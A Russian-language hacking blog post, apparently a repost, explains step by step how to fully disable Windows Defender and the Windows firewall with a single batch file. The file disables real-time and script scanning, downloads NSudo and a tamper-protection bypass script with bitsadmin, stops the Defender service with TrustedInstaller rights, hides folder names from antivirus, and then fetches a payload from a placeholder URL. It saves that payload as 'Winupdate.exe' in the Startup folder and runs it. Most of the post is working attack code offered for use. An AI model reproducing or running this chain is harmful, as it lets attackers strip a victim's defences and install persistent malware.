Exploit Powershell Windows антивирусы

Полностью отключаем Windows Defender и запускаем свой код в системе одним файлом

Полностью отключаем Windows Defender и запускаем свой код в системе одним файлом

Сегодня мы поговорим о полном отключении Windows Defender в системе в обход всех защит и даже о том, как сделать это незаметно. С пошаговыми комментариями для самых маленьких, всё, как ты любишь.

Windows Defender – это антивирус уже встроенный в винду. Из пользовательского интерфейса полностью отключить его невозможно, в то время, как он собирает множество информации о тебе и передает её в центр реагирования Microsoft. Какую имеено инфу, спросишь ты? Здесь есть информация и о запускаемых тобой приложениях, и о настройках твоей операционки, и даже о том, что ты загружаешь из интернета, и ещё о многом другом. Есть одно но. К счастью, этот вдолбленый наглухо компонент Windows автоматически выключается в случае установки другого антивирусного продукта. Впрочем, при этом Windows Defender не удаляется из операционной системы, поскольку он является частью Windows 10, но деактивируется. Впрочем, его следящие функции также можно отключить вручную.

Отключать Windows Defender мы будем наглядно и с использованием PowerShell, новой коммандной оболочки от Microsoft с расширенным функционалом, который мы как раз и используем.

Скрипт надо запускать от имени администратора. О том, как это сделать с привелегированой записи в обход UAC мы поговорим в следующий раз.

Так что, тебе не нравится Windows Defender? Мне тоже. Будем отключать. Для этого создаем файл fuckwd.bat:

@echo off
REM отключаем отображение выполнения

powershell.exe -command "Set-MpPreference -EnableControlledFolderAccess Disabled"
powershell.exe -command "Set-MpPreference -PUAProtection disable"
powershell.exe -command "Set-MpPreference -DisableRealtimeMonitoring $true"
powershell.exe -command "Set-MpPreference -DisableBehaviorMonitoring $true"
powershell.exe -command "Set-MpPreference -DisableBlockAtFirstSeen $true"
powershell.exe -command "Set-MpPreference -DisableIOAVProtection $true"
powershell.exe -command "Set-MpPreference -DisablePrivacyMode $true"
powershell.exe -command "Set-MpPreference -SignatureDisableUpdateOnStartupWithoutEngine $true"
powershell.exe -command "Set-MpPreference -DisableArchiveScanning $true"
powershell.exe -command "Set-MpPreference -DisableIntrusionPreventionSystem $true"
powershell.exe -command "Set-MpPreference -DisableScriptScanning $true"
powershell.exe -command "Set-MpPreference -SubmitSamplesConsent 2"
powershell.exe -command "Set-MpPreference -MAPSReporting 0"
powershell.exe -command "Set-MpPreference -HighThreatDefaultAction 6 -Force"
powershell.exe -command "Set-MpPreference -ModerateThreatDefaultAction 6"
powershell.exe -command "Set-MpPreference -LowThreatDefaultAction 6"
powershell.exe -command "Set-MpPreference -SevereThreatDefaultAction 6"
powershell.exe -command "Set-MpPreference -ScanScheduleDay 8"

А в добавок можно ещё и отключить все правила windows firewall одной командой:

powershell.exe -command "netsh advfirewall set allprofiles state off"

Или добавить .exe и .bat в список исключенияй Defender SmartScreen:

powershell.exe -command "Add-MpPreference -ExclusionExtension ".bat""
powershell.exe -command "Add-MpPreference -ExclusionExtension ".exe""
REM добавляем .bat и .exe в список исключений SmartScreen. этот шаг можно опустить, так, как на скрипт с таким контентом возможны срабатывания ав 

Разбираемся?

Как я и писал выше – Powershell это новая коммандная оболочка от Microsoft. Она должна заменить устаревшую cmd, которая ведеть свою родословную аж от MS-DOS. Полная документация по сему замечательному инструменту здесь. В целом этот замечательный инструмент очень удобен в умелых руках. Но не будем распыляться. Нас интересует только функция: Set-MpPreference. Как видно из документации она то как раз и отвечает за задание параметров Windows Defender. Ей то и передаются параметры, отключающие всё, что возможно.

Смотрим дальше. Что такое netsh? Это штататная утилита Windows, позволяющая изменить практически все сетевые настройки или просмотреть их. netsh advfirewall set allprofiles state off выключает все профили.

Но не спеши радоваться, друг мой. Недавно Microsoft добавила новую функцию в Windows под названием «Защита от изменений» (Tamper protection). Она предотвращает отключение защиты в реальном времени и изменение ключей реестра Windows Defender с помощью powershell или cmd. Если отключать защиту в реальном времени, тебе придется делать это вручную. Но не парься, здесь нам на помощь придут утилитки Nsudo и скрипт Disable-Tamper.cmd.

Начнём с того что такое Nsudo. Это простой портативный и абсолютно легитимный инструмент, позволяющий запускать процессы с правами System или TrustedInstaller.

Не секрет, что далеко не все операции с реестром, конфигурационными и исполняемыми файлами доступны пользователю, работающему даже с администраторскими привилегиями. Если владельцем объекта являются TrustedInstaller или System, то они попросту не позволят вам изменить файл или настройку, поскольку обладают еще более высокими привилегиями.

Всё было плохо и неудобно, и поэтому для этих целей разработчиком Kenji Mouri была создана NSudo — портативная утилита, позволяющая делегировать права служб TrustedInstaller и System обычному администратору.

И ещё одна полезная программа из комплекта Windows, которую мы будем использовать для загрузки необходимых нам инструментов, bitsadmin. Документация Microsoft говорит нам, что програма bitsadmin предназначена для загрузки файлов и является стандартным компонентом всех поддерживаемых в настоящее время операционных систем Windows. Опа, это как раз то, что нам и нужно. Загружаем Nsudo в фоновом режиме (пользователь ничего не увидит) в директорию %temp%, то есть там где хранятся временные файлы:

bitsadmin /transfer Explorers /download /priority FOREGROUND https://raw.githubusercontent.com/swagkarna/Bypass-Tamper-Protection/main/NSudo.exe %temp%\NSudo.exe

Дальше запускаем Nsudo и останавливаем службу Windows Defender с правами системы:

set xxxx=%systemroot%
set graysuitlovespinksuit=System32
NSudo.exe -U:T -ShowWindowMode:Hide icacls "%xxxx%\%graysuitlovespinksuit%\smartscreen.exe" /inheritance:r /remove *S-1-5-32-544 *S-1-5-11 *S-1-5-32-545 *S-1-5-18 
NSudo.exe -U:T -ShowWindowMode:Hide sc stop WinDefend 

Cтоит добавить, перезадание переменных с названиями директорий происходит для того, чтобы не привлечь внимание антивируса к подозрительной, по его мнению, активности.

А теперь последний штрих, отключаем “Tamper Protection”:

bitsadmin /transfer Explorers /download /priority FOREGROUND https://raw.githubusercontent.com/swagkarna/Disable-Tamper-Realtime-Protection/main/Disable-Tamper.cmd  

%temp%\Disable-Tamper.cmd

Всё. Загружаем наш снаряд и выполняем полезную нагрузку:

cd "%USERPROFILE%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup
powershell -command "start-bitstransfer https://direct-url-for-payload/xxx.exe   .\Winupdate.exe"
start  Winupdate.exe & cd %temp%

Меняем https://direct-url-for-payload/xxx.exe на адрес нашего payload-a.

Полный код можно найти здесь: https://github.com/swagkarna/Defeat-Defender/blob/main/Defeat-Defender.bat

Репозиторий GitHub: https://github.com/swagkarna/Defeat-Defender

Идея стара как мир и в том или ином виде используется практически во всех зловредах. Но в данном случае подход интересен и просто для понимания и объяснения.

На момент написания статьи даже батник уже палился антивирусом, но он же на то и батник, что его можно быстро переписать. Подход остается тем же.

Удачи тебе в отключении Windows Defender.

Очень злой админ
Очень злой админ Автор статьи

Админ сайта. Публикует интересные статьи с других ресурсов, либо их переводы. Если есть настроение, бывает, что пишет и что-то своё.

Комментарии

Добавить комментарий

Ваш адрес email не будет опубликован. Обязательные поля помечены *